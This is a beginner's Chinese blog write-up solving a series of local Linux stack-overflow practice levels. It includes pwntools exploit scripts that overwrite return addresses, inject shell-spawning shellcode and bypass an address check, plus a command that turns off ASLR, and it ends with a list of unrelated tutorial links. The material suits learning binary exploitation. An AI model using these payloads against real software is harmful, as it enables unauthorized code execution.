Linux栈溢出入门
做题入门=。= 菜呀,学习
level-0
aris教我checksec一下看是啥文件
32位的打开32位的ida 主程序
ebp是栈底指针 esp是栈顶指针 好奇为啥栈底指针在最高的地方
- aris说是为了最大化利用空间(懵逼) ~~学习一下栈的知识~~
只要覆盖0x44个字节把 v5覆盖了就行
# coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'bash', '-c']
payload = "A" * 0x44
cn.sendline(payload)
cn.readline()
gdb 调试一下
可以看到已经被覆盖了
level-1
checksec 一下 发现是32位的
打开ida
只要把v5的值覆盖成1633837924就行了 转成16进制
0x61626364 用pwntools的时候会跳不出argc aris说就跟sys.argv 一样需要给参数 看来只能手输入了
这里刚刚好覆盖到 换成61626364就好了
因为是小端的所以是反的
ok
level2
还是32位的一个 用ida打开
直接运行会这样
有一个getenv函数 是从系统环境中获得变量,问了一下aris export
这个命令就行
ch1p告诉我在ida里面可以用h将值变成16进制
只要把v5的值覆盖成0d0a0d0a之后就好了 小端所以是0a0d0a0d
import os
os.putenv('GREENIE','A'*0X40+'x0ax0dx0ax0d')
os.system('./level2')
运行一下成功了
level3
放到ida看一下
主函数
还有一个win函数 应该是把v5的值改成win的入口地址
看到win的入口地址是 0x08048424
把v5的值改成这个就行 需要 0x40个A+0x08048424
aris教我可以用hex来查看堆栈信息 使用回车可以看后面栈的内容
可以发现我已经将v5的值改掉了
成功 脚本:
#coding=utf8
from pwn import *
local = 1
if local:
cn = process('./level3')
payload = 'A'*0x40+p32(0x08048424)
cn.sendline(payload)
cn.interactive()
level4
打开ida
发现main函数只有这么点 还有一个win函数
还是要跳到这个函数 找到win函数的入口地址 看了一下s离ebp是0x40个字节 所以payload是 'A'*0x40+'bbbb'+p32(0x08048424)
b是用来覆盖ebp 接下来就是返回地址 在测试的时候发现不行用gdb调试一下
发现并没有跳到我给的地址打印一下栈看一下
发现我的已经写上去了,但是地址还在后面8位 所以更改payload A*0x48+'bbbb'+p32(0x08048424)
成功!
脚本:
#coding=utf8
from pwn import *
local = 1
if local:
cn = process('./level4')
payload = 'A'*0x48+'bbbb'+p32(0x08048424)
cn.sendline(payload)
cn.interactive()
解答
为啥往后移了8位静态分析的时候没啥问题 问了下aris
经过了与之后就比之前小了8就往后移了8位 23333 gdb是好东西
level5
打开ida
除了这个函数别的都没了 可以试着写shellcode了
看一下pwntools自带的shellcode只有44长度 那个字符串s的长度有48所以写进去应该没啥问题
不过首先得把ASLR的保护给关了不然写不到那个地址上 sudo sh-c"echo 0 > /proc/sys/kernel/randomize_va_space"
用gdb调试一下
shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x1C+p32(0x00000000)+p32(0xffffcf00)
cn.sendline(payload)
可以看到他已经被覆盖成功了,下一步就是shellcode
命令执行成功
level6
打开ida
main函数 看一下getpath函数
应该是从这里入手 发现不能像level5一样直接覆盖return的地址了 他做了限定前2位不能是ff ~~经过一天的学习=。=~~ 通过空函数然后在return回来执行下一句return到shellcode就好了
找一个空函数 方便跳回来继续执行 就是你了 0x0804850b
gdb调试一下
成功进去了
return到了我们的shellcode的位置
成功~
脚本:
shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804850b)+p32(0xffffceec)
cn.sendline(payload)
cn.interactive()
level7
还是和level6一样 只是getpath函数变了
就是多了一个strdup函数 上网查了一下他是从堆里面分配空间 感觉没啥用 跟上一题一样的思路找一下空函数
0x0804855b
然后写一下payload
shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804855b)+p32(0xffffceec)
# z('b*0x080484EFnc')
cn.sendline(payload)
cn.interactive()
番外
当然有更屌的解法
(等我学成归来)在学习一下
参考资料
https://blog.csdn.net/sinat_31054897/article/details/82223889
- mysql、mongodb、python(dataframe).聚合函数的形式,以及报错解决方案
- JavaScript计算水仙花数【可自定义范围】
- JSP简单入门(1)
- mongodb取出json,利用python转成dataframe(dict-to-dataframe)
- JSP简单入门(2)
- JSP简单入门(3)
- 物化视图相关的性能改进 (r7笔记第58天)
- Maven 核心原理解析(1)
- LeetCode——Two Sum
- TensorFlow全新的数据读取方式:Dataset API入门教程
- 不经意发现的dba_objects和dba_tables中的细节(r7笔记第56天)
- LeetCode——Longest Substring Without Repeating Characters
- Python time模块详解(时间戳↔元组形式↔格式化形式三者转化)
- Maven 核心原理解析(2)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法